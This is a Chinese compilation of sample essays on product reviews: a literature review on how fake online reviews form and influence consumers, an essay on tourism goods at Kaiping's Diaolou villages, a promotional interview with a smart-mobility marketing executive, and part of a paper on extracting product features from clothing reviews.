商品評(píng)論精選(九篇)

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第1篇：商品評(píng)論范文

（1華中師范大學(xué)湖北省電子商務(wù)研究中心 湖北 武漢 430079

2華中師范大學(xué)信息管理學(xué)院 湖北 武漢 430079）

摘 要：界定商品虛假評(píng)論的概念、稱謂和效用度量，總結(jié)了虛假評(píng)論形成與影響機(jī)制，包括虛假評(píng)論形成的影響因素以及虛假評(píng)論對消費(fèi)者的影響研究。虛假評(píng)論形成和影響機(jī)制應(yīng)結(jié)合內(nèi)部、外部環(huán)境，構(gòu)建全面的理論框架。

關(guān)鍵詞 ：在線商品；在線評(píng)論；垃圾評(píng)論；虛假評(píng)論

中圖分類號(hào)：TP391 文獻(xiàn)標(biāo)識(shí)碼：A doi：10．3969／j．issn．1665－2272．2015．14．016

*基金項(xiàng)目：國家大學(xué)生創(chuàng)新性實(shí)驗(yàn)計(jì)劃（A類）基因項(xiàng)目“在線商品評(píng)論信息形成機(jī)制的實(shí)證研究”（項(xiàng)目編號(hào)：A2014080）。

收稿日期：2015－04－22

隨著B2C電子商務(wù)模式的日趨成熟，當(dāng)在網(wǎng)絡(luò)上做出購買商品和服務(wù)的決策前，消費(fèi)者已經(jīng)開始嚴(yán)重依賴于相應(yīng)的在線商品評(píng)論。有效的在線商品評(píng)論為市場提供了一個(gè)有力的校正機(jī)制，并以此幫助和促進(jìn)市場商品的質(zhì)量的提升。然而，由于存在利益或名譽(yù)上的誘惑，一些組織和個(gè)人利用網(wǎng)絡(luò)信息監(jiān)管制度的缺失，大量虛假評(píng)論從而達(dá)到誤導(dǎo)消費(fèi)者和獲取自身利益的目的，嚴(yán)重地危害了網(wǎng)絡(luò)購物環(huán)境和秩序。因此對在線商品虛假評(píng)論的定義、稱謂、效用度量進(jìn)行界定，綜述在線商品虛假評(píng)論形成的影響因素及虛假評(píng)論對消費(fèi)者的影響情況，對后續(xù)的研究具有重要的借鑒作用。

1 基本概念

1．1 虛假評(píng)論的定義

最先提出在線商品虛假評(píng)論概念的學(xué)者是Jindal教授，他們將虛假評(píng)論定義為三種類型：一種是不真實(shí)的評(píng)論，指故意誤導(dǎo)消費(fèi)者或評(píng)論識(shí)別系統(tǒng)，目的是蓄意提高或毀壞產(chǎn)品的聲譽(yù)，具體包括宣傳性評(píng)論和誹謗性評(píng)論；一種是不含觀點(diǎn)的評(píng)論，指評(píng)論中并不包含作者的觀點(diǎn)；一種是只與品牌有關(guān)的評(píng)論，指評(píng)論的內(nèi)容不是直接關(guān)于產(chǎn)品的評(píng)價(jià)而是關(guān)于該公司或者供貨商。隨后Luca等學(xué)者基于Jindal的定義又增加了偏離主題的評(píng)論這以概念，指評(píng)論雖然屬于該類型產(chǎn)品的評(píng)論，但是和商鋪銷售的產(chǎn)品無關(guān)，如產(chǎn)品是蘋果手機(jī)，評(píng)論卻關(guān)于三星手機(jī)。

1．2 虛假評(píng)論的稱謂

國外學(xué)者從商品垃圾評(píng)論屬于商品觀點(diǎn)中的垃圾觀點(diǎn)出發(fā)，稱其為opinion spam和review spam；從商品垃圾評(píng)論固有的欺騙性質(zhì)出發(fā)，稱其為fake review；從商品垃圾評(píng)論是由人工產(chǎn)生的途徑出發(fā)，稱其manipulative review；從商品虛假評(píng)論被用于迷惑其他消費(fèi)者的用途出發(fā)，稱其為deceptive review和suspicious review。與此不同的是，國內(nèi)學(xué)者大多從商品虛假評(píng)論的欺騙性質(zhì)出發(fā)，直接稱其為虛假評(píng)論。也有少部分學(xué)者沿用國外學(xué)者的叫法稱為垃圾評(píng)論，但這一稱謂在國內(nèi)總體使用度不高。原因是垃圾評(píng)論在國內(nèi)是一個(gè)更為廣義的概念，包括博客中的垃圾評(píng)論、社交網(wǎng)站中的虛假評(píng)論、論壇中的虛假評(píng)論、在線購物網(wǎng)站中的虛假評(píng)論，“虛假評(píng)論”則特指在線購物網(wǎng)站中的虛假評(píng)論。

1．3 效用度量

對于評(píng)論效用的度量，需要考慮評(píng)論的可信度和有效性。可信度指信息被信任的程度，強(qiáng)調(diào)評(píng)論真?zhèn)涡缘谋鎰e，即評(píng)論人提供的信息被接受者認(rèn)可的程度。評(píng)論有用性是評(píng)論對讀者潛在的幫助價(jià)值，即評(píng)論的效用價(jià)值。評(píng)論有用性的研究包括有用性影響因素研究和基于效用的推薦排名研究兩方面，通過預(yù)測評(píng)論的效用價(jià)值，提取出效用更高的真實(shí)評(píng)論或依據(jù)評(píng)論內(nèi)容對消費(fèi)者進(jìn)行個(gè)性化推薦。現(xiàn)階段學(xué)者主要以消費(fèi)者利用他人評(píng)論后購買的產(chǎn)品是否滿意為標(biāo)準(zhǔn)來判斷評(píng)論是否有用。如圖1所示，在虛假評(píng)論識(shí)別中通過可信度篩選出一部分虛假評(píng)論1，再通過有用性為指標(biāo)篩選出剩余的虛假評(píng)論2，有用的評(píng)論則作為輔助消費(fèi)者正確購買的效用價(jià)值高的評(píng)論。

2 虛假評(píng)論形成與影響機(jī)制

2．1 虛假評(píng)論形成的影響因素研究

Luca等研究了關(guān)于酒店的在線評(píng)論，通過分析Yelp虛假評(píng)論識(shí)別系統(tǒng)認(rèn)定的虛假評(píng)論，發(fā)現(xiàn)了三個(gè)規(guī)律：當(dāng)酒店的名譽(yù)排名靠后時(shí)更易實(shí)施虛假評(píng)論的行為；連鎖店不易實(shí)施虛假評(píng)論行為；當(dāng)酒店競爭激烈時(shí)，更易向競爭企業(yè)虛假評(píng)論。由此得出商家實(shí)施虛假評(píng)論行為是出于競爭和名譽(yù)的誘因而不僅僅是商家的不道德。孟美任等進(jìn)一步采用實(shí)證分析的研究方式，對淘寶網(wǎng)上18家網(wǎng)店的評(píng)論進(jìn)行為期一年的追蹤分析，同時(shí)線下調(diào)研20個(gè)商家，總結(jié)出四個(gè)方面的動(dòng)機(jī)：推銷、詆毀、干擾、無意義。即商家出于增加商鋪銷量的目的推銷評(píng)論；同行競爭者出于不良商業(yè)競爭詆毀評(píng)論；商家關(guān)于其他方面的廣告宣傳及鏈接屬于干擾評(píng)論；顧客出于敷衍、獎(jiǎng)勵(lì)機(jī)制、單純發(fā)泄情緒而的評(píng)論屬于無意義評(píng)論。因此，如圖2所示，筆者將虛假評(píng)論的動(dòng)機(jī)總結(jié)為三個(gè)方面：一是商家出于推銷、廣告的目的對購買商品的客戶虛假評(píng)論；二是客戶出于敷衍、獎(jiǎng)勵(lì)機(jī)制、發(fā)泄情緒的目的對商家虛假評(píng)論；三是商家之間出于不道德、不良競爭的目的互相虛假評(píng)論。另外，非虛假的商品評(píng)論應(yīng)該由購買該商品或服務(wù)的客戶，我們將其動(dòng)機(jī)總結(jié)為：分享欲望、社會(huì)互動(dòng)、產(chǎn)品參與度。

2．2 虛假評(píng)論對消費(fèi)者的影響研究

有些學(xué)者從在線評(píng)論的不同維度出發(fā)研究虛假評(píng)論對消費(fèi)者購買決策產(chǎn)生影響。瓦瑜等通過實(shí)證分析的方法，證實(shí)了評(píng)論者專業(yè)性、可信性，評(píng)論質(zhì)量、評(píng)論量、評(píng)論效價(jià)通過產(chǎn)品感知價(jià)值對消費(fèi)者的購買意愿存在正向影響；消費(fèi)者專業(yè)性通過產(chǎn)品感知價(jià)值對消費(fèi)者的購買意愿存在負(fù)向影響。鄭小平等發(fā)現(xiàn)評(píng)論內(nèi)容的質(zhì)量、評(píng)論者信譽(yù)度、評(píng)論數(shù)量會(huì)產(chǎn)生促進(jìn)影響，寧連舉等詳細(xì)為評(píng)論情感負(fù)面程度、評(píng)論內(nèi)容相關(guān)性、評(píng)論內(nèi)容專業(yè)性、評(píng)論數(shù)量會(huì)正向影響消費(fèi)者瀏覽網(wǎng)站時(shí)的感知風(fēng)險(xiǎn)，進(jìn)而影響其購買意愿。劉麗等具體研究了體驗(yàn)型產(chǎn)品的負(fù)面在線評(píng)論，補(bǔ)充了評(píng)論長度、評(píng)論表達(dá)方式對消費(fèi)者感知風(fēng)險(xiǎn)均有顯著影響。

有些學(xué)者對影響在線評(píng)論發(fā)揮效力的諸多因素進(jìn)行了重要程度研究。瓦瑜等發(fā)現(xiàn)感知價(jià)值對消費(fèi)者購買意愿存在中介作用，評(píng)論質(zhì)量、評(píng)論量、評(píng)論效價(jià)通過產(chǎn)品感知價(jià)值對消費(fèi)者影響程度最高。劉麗等認(rèn)為評(píng)論內(nèi)容對感知風(fēng)險(xiǎn)的影響最大，同時(shí)證實(shí)對于負(fù)面在線評(píng)論相似性對感知風(fēng)險(xiǎn)的影響有正向顯著作用。周晶晶等問卷調(diào)查后的排序結(jié)果依次是評(píng)論的數(shù)量、評(píng)論者的信譽(yù)度、評(píng)論內(nèi)容的質(zhì)量和評(píng)論的效價(jià)?？傮w來看，虛假評(píng)論屬于商品評(píng)論，會(huì)通過以上諸多因素作用于消費(fèi)者的購買決策，但是直接關(guān)于虛假評(píng)論對消費(fèi)者購買決策以及商家商品銷量的影響的研究仍有待完善。

3 結(jié)語

當(dāng)前關(guān)于在線商品評(píng)論的形成與影響機(jī)制研究缺乏統(tǒng)一的研究框架和通用的概念模型，且現(xiàn)有的研究成果比較零散，絕大部分的研究范圍僅局限于特定問題，研究成果缺乏通用性和系統(tǒng)性。

因此，今后對虛假評(píng)論形成機(jī)制的研究，不僅僅從心理角度出發(fā)進(jìn)行消費(fèi)者、商家間的動(dòng)因分析，而且可從虛假評(píng)論者形成虛假評(píng)論的順序出發(fā)，將形成機(jī)制分為三步驟：評(píng)論構(gòu)思階段、評(píng)論寫作階段、評(píng)論發(fā)表階段。評(píng)論構(gòu)思階段級(jí)，指用戶在腦海中形成評(píng)論內(nèi)容的時(shí)期，可研究其他評(píng)論信息、用戶的心理狀態(tài)、用戶的情感傾向等對用戶構(gòu)思的影響；評(píng)論寫作階段，指用戶寫作評(píng)論的過程，可研究用戶個(gè)人習(xí)慣、用戶評(píng)論動(dòng)機(jī)、用戶用語方式等方面；評(píng)論發(fā)表階段，指用戶點(diǎn)擊發(fā)表評(píng)論，可研究商家的鼓勵(lì)機(jī)制等影響因素。

參考文獻(xiàn)

1 Luca M，Zervas G．Fake it till you make it： Reputation， competition， and Yelp review fraud［J］． Harvard Business School NOM Unit Working Paper，2013（6）

2 孟美任，丁晟春．虛假商品評(píng)論信息者行為動(dòng)機(jī)分析［J］．情報(bào)科學(xué)，2013（10）

3 瓦瑜，汪蕾．在線評(píng)論對消費(fèi)者購買意愿的影響研究——基于信息傳播的視角［D］．杭州：浙江大學(xué)，2014

4 鄭小平．在線評(píng)論對網(wǎng)絡(luò)消費(fèi)者購買決策影響的實(shí)證研究［D］．北京：中國人民大學(xué)，2008

5 寧連舉，孫韓．在線負(fù)面評(píng)論對網(wǎng)絡(luò)消費(fèi)者購買意愿的影響［J］．技術(shù)經(jīng)濟(jì)，2014（3）

第2篇：商品評(píng)論范文

旅游商品是旅游者游覽活動(dòng)的延伸與繼續(xù)，是衡量一個(gè)國家和地區(qū)旅游業(yè)發(fā)達(dá)程度高低的標(biāo)志。同時(shí)，旅游商品是發(fā)展旅游購物的基礎(chǔ)，旅游商品的開發(fā)創(chuàng)新是旅游購物可持續(xù)增長的關(guān)鍵。在一般的旅游過程中，吃、住、行、游、購、娛六項(xiàng)旅游花費(fèi)前四項(xiàng)是基本固定的、“有限”的花費(fèi)，而旅游購物則是“無限”花費(fèi)。旅游購物作為“無限”花費(fèi)，在旅游產(chǎn)品的構(gòu)成要素中可挖掘的經(jīng)濟(jì)效益的潛力最大，做大做強(qiáng)旅游商品產(chǎn)業(yè)對開平本地區(qū)旅游經(jīng)濟(jì)的進(jìn)一步發(fā)展具有十分重要的現(xiàn)實(shí)意義。

（一）提高旅游收入，促進(jìn)地方經(jīng)濟(jì)發(fā)展

成功的旅游區(qū)開發(fā)經(jīng)驗(yàn)表明，旅游商品的開發(fā)生產(chǎn)能夠帶動(dòng)當(dāng)?shù)氐慕?jīng)濟(jì)活力，提高居民的經(jīng)濟(jì)收入，以及政府的財(cái)政收入。根據(jù)近幾年的統(tǒng)計(jì)數(shù)據(jù)顯示，旅游者在江門市的旅游消費(fèi)構(gòu)成中，旅游購物所占比例不足10位數(shù)，這反映了購物成為當(dāng)?shù)芈糜瘟笠刂凶畋∪醯沫h(huán)節(jié)。豐富購物活動(dòng)，是江門旅游取得進(jìn)一步發(fā)展的關(guān)鍵。

（二）豐富本地產(chǎn)品，調(diào)整產(chǎn)品結(jié)構(gòu)

通過調(diào)整本地農(nóng)產(chǎn)品與手工藝品的的產(chǎn)品結(jié)構(gòu)，優(yōu)化資源整合，引導(dǎo)旅游商品廠家走特色產(chǎn)品之路，進(jìn)一步拓寬銷售渠道。一來可以提供更多的就業(yè)機(jī)會(huì)，再者豐富了開平景區(qū)旅游商品的多元化。

（三）提升當(dāng)?shù)芈糜紊唐肺幕肺?/p>

旅游商品是旅游景區(qū)文化的物化和延伸，游客對開平碉樓與村落文化和生態(tài)的認(rèn)可，進(jìn)而引申為對工藝品、紀(jì)念品、土特產(chǎn)品的認(rèn)可，并通過這種購買行為，達(dá)到與開平文化和生態(tài)的另一種感悟和交流。地方特色商品兼具地域性、文化性、品牌性，因而有利于以“購”來豐富開平旅游的內(nèi)涵，從而與世界文化遺產(chǎn)形成旅游購物商品及其購物場所方面的匹配。

二．開平碉樓與村落旅游商品開發(fā)存在的主要問題

（一）旅游購物所占比重偏低

在開平碉樓與村落申遺成功的直接刺激下，2007年江門全年接待游客1460.75萬人次，比上年增長38.12%。其中城市接待過夜國際旅游者47.95萬人次，同比增長37.54％，一日游游客784.14萬人次，同比增長73.87％；開平旅游出現(xiàn)了“井噴”效應(yīng)，主要旅游景點(diǎn)旅游人數(shù)激增300%。開平市旅游總收入11.26億元，增長40.93%①。

中國社會(huì)科學(xué)院旅游研究中心的魏小安研究員認(rèn)為，中國的旅游購物市場未來的發(fā)展目標(biāo)應(yīng)該是世界的平均水平——30%。然而根據(jù)開平市旅游局公布的數(shù)據(jù)，旅游者在開平的旅游消費(fèi)構(gòu)成中，旅游購物所占比例卻連百分之十都不到。

（二）旅游商品開發(fā)還處于粗放階段

通過實(shí)地旅游體驗(yàn)調(diào)研，“開平碉樓與村落”這一世界文化遺產(chǎn)地的地方特色商品資源還缺乏全面調(diào)查，開發(fā)處于粗放狀態(tài)。具體表現(xiàn)在：

1.旅游商品研發(fā)力度不夠，產(chǎn)品結(jié)構(gòu)欠合理

開平本地目前大多數(shù)旅游商品生產(chǎn)企業(yè)規(guī)模較小，未能形成規(guī)模效益。此外，還存在部分極具本土特色的商品被忽略，在現(xiàn)代工業(yè)品大潮中逐漸邊緣化，甚至消失，亟待深度挖掘。

2.旅游商品特色不鮮明

作為世界文化遺產(chǎn)，開平碉樓文化內(nèi)涵豐富、特色鮮明。一些體現(xiàn)歷史文化及地域特色的旅游商品，還遠(yuǎn)遠(yuǎn)不能滿足各類游客的廣泛需求，且也無法與世界文化遺產(chǎn)的身份匹配。特色明顯、文化含量高的商品所占比重還很小，缺乏拳頭產(chǎn)品。

3.質(zhì)量意識(shí)不強(qiáng)，包裝層次低

本地區(qū)僅有的數(shù)家旅游商品生產(chǎn)企業(yè)尚處于作坊式生產(chǎn)經(jīng)營狀態(tài)，由于其在資金、人力、技術(shù)等方面的限制，使得部分旅游商品做工粗糙，檔次較低。偷工減料、以次充好、以假亂真的現(xiàn)象也較普遍，嚴(yán)重挫傷旅游者的購買積極性。

此外，許多景點(diǎn)購物環(huán)境混亂，產(chǎn)品單一， “回扣”現(xiàn)象普遍存在，售后服務(wù)不完善。

（三）政府對開平碉樓與村落旅游商品的開發(fā)工作收效甚微

伴隨“申遺”工作，江門市政府和市旅游局一直非常重視開平碉樓與村落景區(qū)的建設(shè)和發(fā)展，并通過舉辦評(píng)選優(yōu)秀旅游商品相關(guān)活動(dòng)支持當(dāng)?shù)芈糜翁厣唐返陌l(fā)展，但是旅游商品消費(fèi)在開平的旅游收入占的比例仍舊很低，舉辦的有關(guān)活動(dòng)產(chǎn)生的實(shí)際效果并不顯著，導(dǎo)致勞民傷財(cái)且收效甚微。

三．開平碉樓與村落旅游商品的資源優(yōu)勢與特點(diǎn)

（一）開平碉樓與村落旅游商品開發(fā)的優(yōu)勢與特點(diǎn)

開平碉樓與村落深厚的文化影響優(yōu)勢主要是源自其馳名中外的中西方結(jié)合的僑鄉(xiāng)文化、獨(dú)特而且具有地方文化特征的建筑藝術(shù)。同時(shí)，開平碉樓與村落景區(qū)地處廣東中南部、珠江三角洲西緣，屬南亞熱帶地區(qū)。受海洋氣候影響，潮濕多雨，年降雨量在1700至2400毫米之間，屬于丘陵地帶，但東部和中部部分地區(qū)為潭江沖積平原。有著獨(dú)到的氣候優(yōu)勢，決定了本地區(qū)具備豐富的物產(chǎn)資源。

（二）開平碉樓與村落旅游商品的譜系

經(jīng)過多次的走訪調(diào)查，得出開平本地現(xiàn)有的和潛在的大致旅游商品譜系如下

綠色食品類：潭碧冬瓜、開平廣合腐乳、外海面、金山火蒜、水口白菜、陂頭桂味荔枝、農(nóng)家肥蔬菜、臺(tái)山蝦醬、古勞豆豉、聯(lián)竹果蔗、金雞番葛、龍勝甜橘、馬岡鵝

中草藥保健類：錦云單樅茶、東山蜂蜜、新會(huì)陳皮、鶴山桔普茶、荷塘頭菜、開平蘆薈、健之源靈芝補(bǔ)品、鄉(xiāng)土味響山簕菜茶、開平陳皮茶、開平陳皮梅

旅游紀(jì)念品類：碉樓微縮模型、碉樓積木、碉樓紙牌游戲、傳統(tǒng)工藝品如碉樓茶磚、皮雕系列工藝品、輕工小紀(jì)念品、有紀(jì)念意義的文化衫及絲綢、紡織品（如LG服飾、牛仔服裝）

旅游文化類：明信片、畫冊、郵冊、開平名人相片集、開平名人書法藝術(shù)集、開平名人繪畫藝術(shù)集、碉樓故事集

宗教類：佛教、道教、基督教、伊斯蘭教

旅游用品類：旅游箱包、首飾盒、生活用品、醫(yī)療保健用品

旅游書刊類：導(dǎo)游圖、導(dǎo)游手冊、美食路線圖、地方雜志

四．開平碉樓與村落旅游商品開發(fā)對策

第3篇：商品評(píng)論范文

在前不久CCTV發(fā)現(xiàn)之旅頻道的《華商論見》欄目的拍攝現(xiàn)場，我們看到了常州愛爾威智能科技有限公司的營銷副總何春華。整個(gè)錄制過程中，何春華就如何認(rèn)知品牌價(jià)值和樹立品牌等話題侃侃而談，給現(xiàn)場的其他企業(yè)家及記者都留下了深刻的印象。

(左二：何春華)

“雖然哥不在江湖，但江湖還有哥的傳說”

提起何春華，可能很多人并不熟悉。但對于臺(tái)灣旺旺集團(tuán)的人來說，這個(gè)名字在整個(gè)集團(tuán)內(nèi)部以及快消品行業(yè)中是有著響當(dāng)當(dāng)?shù)牡匚坏?。何春華在九十年代就加入了旺旺集團(tuán)，開始了長達(dá)20年的快消品市場營銷管理工作。他曾經(jīng)提出的一些營銷理念和渠道建設(shè)模式至今也都還在被眾多的后來人學(xué)習(xí)與效仿。離開旺旺集團(tuán)后，他進(jìn)入香港海德實(shí)業(yè)有限公司，開始負(fù)責(zé)公司的項(xiàng)目設(shè)計(jì)與全國的項(xiàng)目布局等工作。在談到這兩段工作經(jīng)歷的時(shí)候，我們聽到的最多的關(guān)鍵詞就是“速度”與“深度”。這不僅讓我們產(chǎn)生了一個(gè)問題，那就是為什么會(huì)從相對比較成熟的傳統(tǒng)行業(yè)一步跨入到智能硬件設(shè)備這個(gè)目前還相對小眾的領(lǐng)域呢?

針對這一問題，何春華是如此回答的：“其實(shí)對于營銷人員來說做什么行業(yè)不重要。產(chǎn)品只是企業(yè)文化和銷售理念的載體。每一個(gè)營銷人員的希望都是能在一個(gè)好的平臺(tái)上，實(shí)現(xiàn)屬于自己的理念與價(jià)值。那么，從“衣食住行”這些跟民生息息相關(guān)的行業(yè)看，我以前大部分時(shí)間是在做跟“食”這個(gè)方面有關(guān)的事情。對于現(xiàn)階段的國人來說，在已經(jīng)解決了“食”這個(gè)問題的當(dāng)前，大多數(shù)人開始對“行”這一塊提出了更多的需求。從發(fā)展的角度看，這就是一個(gè)大平臺(tái)。

選擇愛爾威公司，是一種機(jī)緣巧合，也是一種必然。愛爾威是一家專業(yè)研發(fā)、生產(chǎn)智能交通工具的企業(yè)，并且這家企業(yè)非常強(qiáng)調(diào)技術(shù)的高效轉(zhuǎn)換與市場的快速滲透。這和我做事情所追求的“快速”是不謀而合的，所以這是一種緣分。雖然目前智能硬件設(shè)備的確屬于比較小眾的市場，但幾乎所有人都認(rèn)識(shí)到了智能化時(shí)代的趨勢。所以，從市場角度看，今天的“小”恰恰印證了明天的“大”。而這正是必然!“

“天下武功，唯快不破”

“互聯(lián)網(wǎng)思維”的誕生，給很多傳統(tǒng)行業(yè)都帶去了沖擊、顛覆甚至毀滅，對此相信很多人都深以為然。新興的互聯(lián)網(wǎng)行業(yè)正以強(qiáng)勁的勢頭擠壓著傳統(tǒng)行業(yè)的生存空間，對于這一點(diǎn)，何春華用道家的理論做出了獨(dú)特的解讀。

“世間萬物最終都會(huì)歸于平衡，這是一種規(guī)律，就是我們常說的‘道’。現(xiàn)在的互聯(lián)網(wǎng)思維與經(jīng)濟(jì)之所以被人們推崇，最主要的原因是順應(yīng)了時(shí)代的潮流，符合了消費(fèi)者的需求。而傳統(tǒng)行業(yè)在應(yīng)變上慢了，導(dǎo)致了這樣一種此消彼長的局面。但是從越來越多的線上企業(yè)和線下企業(yè)加強(qiáng)相互之間的互動(dòng)和異業(yè)合作可以看出，誰把誰顛覆掉都是個(gè)偽命題，正確的理解應(yīng)該是‘借鑒與融合’，最終還是一個(gè)詞：歸于平衡，產(chǎn)生一種新的商業(yè)模式。

在當(dāng)今這個(gè)互聯(lián)網(wǎng)+的時(shí)代，一個(gè)顯著的特點(diǎn)就是‘以快制快，以快打快’。不管是哪一類企業(yè)都應(yīng)該對市場的變化做出快速反應(yīng)。在出行交通工具這個(gè)行業(yè)，我接觸過很多傳統(tǒng)實(shí)體經(jīng)銷商，他們正面臨著本行業(yè)市場飽和、利潤瓶頸、品牌寡頭等問題的困擾，面對互聯(lián)網(wǎng)運(yùn)營與智能時(shí)代的來臨，他們充滿了疑惑和焦慮。

對于這些仍停留在傳統(tǒng)模式中的人，如何讓他們快速擁抱互聯(lián)網(wǎng)，并且快速獲得過硬的智能硬件技術(shù)支持，從而成功轉(zhuǎn)型，這就是愛爾威想要去實(shí)現(xiàn)的。利用我們的專業(yè)和對渠道的感同身受，去引導(dǎo)傳統(tǒng)經(jīng)銷商們做出正確的決策，讓他們能更全面的去認(rèn)識(shí)智能交通產(chǎn)業(yè)的發(fā)展預(yù)期，在市場井噴期到來之前找準(zhǔn)自己的位置，做好卡位的工作。

所以，我們將以愛爾威自身對傳統(tǒng)行業(yè)與新興行業(yè)的跨界優(yōu)勢、渠道建設(shè)的經(jīng)驗(yàn)、以及實(shí)際的輔銷行為等，來協(xié)助我們的渠道客戶打好這場行業(yè)的轉(zhuǎn)型戰(zhàn)役?！?/p>

第4篇：商品評(píng)論范文

關(guān)鍵詞：產(chǎn)品評(píng)論；產(chǎn)品特征；特征提?。辉u(píng)論挖掘

中圖分類號(hào)：TP311 文獻(xiàn)標(biāo)識(shí)碼：A 文章編號(hào)：1009-3044（2016）14-0159-03

A Product Feature Extraction Method Based on Customer Comments

TU Shun-lin， LIU Li， LI Wei-hua， ZHAO Yi-xia

（Department of Computer Science， Huizhou University， Huizhou 516007， China）

Abstract：The paper combine with the characteristics of Chinese proposed an approach to obtain product features set.Part-of-speech tagging and statistics are used to get the candidate product features set，then use pattern matching to tailors the candidate product features set and filtered it according to the stop words library.Finally the product features set are obtained. The proposed method was tested with the real clothing reviews which were obtained by scrawler technology from Internet and the results show that the validity of the method is proved preliminarily.

Key words： product reviews；product features ； features extracting；review mining

1 概述

電商的蓬勃發(fā)展與規(guī)模的迅速壯大，越來越多的人選擇網(wǎng)購的同時(shí)也導(dǎo)致越來越多產(chǎn)品評(píng)論的積累。Web上的評(píng)論信息是海量的無結(jié)構(gòu)化數(shù)據(jù)，企業(yè)和客戶想要從產(chǎn)品中獲得信息只有通過人工閱讀的方式進(jìn)行，而這是一個(gè)消耗時(shí)間而且容易產(chǎn)生錯(cuò)誤的過程[1]。如此處理并沒有很好地利用這些數(shù)據(jù)，既不能及時(shí)有效地反饋客戶對商品的態(tài)度，更難以為企業(yè)高層的決策提供輔助，由此“評(píng)論挖掘”應(yīng)運(yùn)而生。評(píng)論挖掘作為非結(jié)構(gòu)化信息挖掘的一個(gè)新興領(lǐng)域，主要涉及網(wǎng)絡(luò)評(píng)論中的情感分析、產(chǎn)品特征提取以及主觀內(nèi)容識(shí)別等[2]。與國外比，漢語評(píng)論挖掘方法和技術(shù)的研究起步較晚，而文化的差異、語言表達(dá)方式、詞匯語法等差異也注定很多國外的研究成果無法直接應(yīng)用到中文評(píng)論處理上。因此，結(jié)合相關(guān)文獻(xiàn)與研究，本文提出一種簡單自動(dòng)提取出客戶評(píng)論中的產(chǎn)品特征的方法，實(shí)驗(yàn)證明該方法行之有效，可為企業(yè)建立評(píng)論挖掘系統(tǒng)提供參考。

2 客戶評(píng)論中的產(chǎn)品特征

產(chǎn)品特征指的是客戶、企業(yè)、廠方等對產(chǎn)品本身、產(chǎn)品部件、部件的性能或功能上的抽象概括。一般來說，生產(chǎn)商對于產(chǎn)品都會(huì)提供一份描述產(chǎn)品各方面功能和性能的說明文件。對于服裝產(chǎn)品來說，這份說明除了包括品牌、風(fēng)格、上市年份、材質(zhì)等服裝的基本屬性外，還包括更多的技術(shù)細(xì)節(jié)，但是這些細(xì)節(jié)客戶往往都不太感興趣。此外，客戶評(píng)論中對于產(chǎn)品特征的描述是一個(gè)開放性的問題，客戶可能在產(chǎn)品評(píng)論中發(fā)表一些企業(yè)或廠商根本就沒注意到的一些產(chǎn)品特征，而這些特征正影響著廣大消費(fèi)者的購買決策。正因如此，需要從產(chǎn)品評(píng)論中提取客戶評(píng)論中的產(chǎn)品特征[3]。

產(chǎn)品的特征分為顯式特征和隱式特征兩種[4]。顯式特征是直接出現(xiàn)在產(chǎn)品評(píng)論中描述產(chǎn)品的性能或功能的名詞或名詞短語。比如說“好喜歡，尺碼挺準(zhǔn)，挺合身的”，這里尺碼是顯式特征。而隱式特征就需要對句子的語義進(jìn)行理解才能提取出來，并沒有在語句中有直接的描述。如“從廣州到佛山給我送了5天我就呵呵了”，其實(shí)這里指出了產(chǎn)品物流的這個(gè)隱式特征。抽取隱式特征需要自然語言的分析和理解技術(shù)，但是目前該技術(shù)尚不成熟，所以這里所說的產(chǎn)品特征提取是指顯式特征的提取。

3 產(chǎn)品顯式特征的提取

3.1 人工定義和自動(dòng)提取

顯式產(chǎn)品特征的提取分人工定義和自動(dòng)提取兩類方法。

采用人工定義的方法就是從某特定領(lǐng)域的產(chǎn)品評(píng)論庫中以人工的方式抽取出產(chǎn)品特征。當(dāng)產(chǎn)品類型不同或者產(chǎn)品發(fā)生改變時(shí)，都需要重新構(gòu)建產(chǎn)品特征集合。這種方法的可移植性、自適應(yīng)性都比較差，查全率較低。

采用自動(dòng)提取的方法主要依靠詞性標(biāo)注、句法分析等方法配合其他的提取技術(shù)實(shí)現(xiàn)。比如利用NLP分詞及詞性標(biāo)注技術(shù)對客戶評(píng)論進(jìn)行解析，從中提取名詞或名詞短語來作為候選特征詞。此方法的優(yōu)點(diǎn)是處理速度快，但是只依賴詞性的提取精確度不高。另外有學(xué)者提出基于關(guān)聯(lián)規(guī)則挖掘頻繁項(xiàng)集并用支持度進(jìn)行裁剪的方法提取特征詞，使用這種方法能提取到高頻特征詞但對低頻特征詞提取效果不好[5]。文獻(xiàn)[6]提出一種利用互信息（PMI）的特征提取方法。該方法首先提取出頻率高于某一閾值的名詞或名詞短語來作為候選特征詞，然后利用搜索引擎計(jì)算出候選特征詞與產(chǎn)品的互信息，依此確定特征詞與該產(chǎn)品的相關(guān)性。但是由于是基于搜索引擎的方法，所以在處理的速度上會(huì)比其他方法慢許多。

3.2 產(chǎn)品特征提取方法

本文依據(jù)中文特點(diǎn)融合多種產(chǎn)品特征提取方法，提出一種簡單有效的產(chǎn)品特征提取方法。該方法通過詞性標(biāo)注和統(tǒng)計(jì)抽取產(chǎn)品特征候選集，再利用模式匹配對產(chǎn)品特征候選集進(jìn)行裁剪，最后構(gòu)建無關(guān)詞庫對產(chǎn)品特征候選集進(jìn)行過濾，得到產(chǎn)品特征。提取過程如圖1所示。

該方法的具體步驟如下：

（1）利用爬蟲程序下載服裝商品評(píng)論。

本文實(shí)驗(yàn)數(shù)據(jù)采用某品牌天貓服裝的評(píng)論信息，因此需要設(shè)計(jì)出合適的爬蟲程序。網(wǎng)絡(luò)爬蟲是一種自動(dòng)提取網(wǎng)頁的程序，提取的數(shù)據(jù)是半結(jié)構(gòu)化的HTML結(jié)構(gòu)。

（2）過濾無價(jià)值的評(píng)論信息并形成商品評(píng)論庫。

爬蟲下載的源文檔HTML結(jié)構(gòu)中包含大量的與商品評(píng)論無關(guān)的內(nèi)容。如HTML文檔的頭部和尾部信息、外部資源的鏈接、客戶端腳本程序的定義、文檔樣式定義等內(nèi)容，這些內(nèi)容均屬于無價(jià)值的內(nèi)容。另外，由于客戶對商品的評(píng)論是開放性的，有部分客戶會(huì)借此做出惡意的推廣或誤導(dǎo)評(píng)論。包含各種聯(lián)系方式（電話號(hào)碼、QQ號(hào)等）和外部鏈接的評(píng)論基本都屬于無價(jià)值的惡意評(píng)論。

（3）利用中文分詞和詞性標(biāo)注工具處理評(píng)論庫。

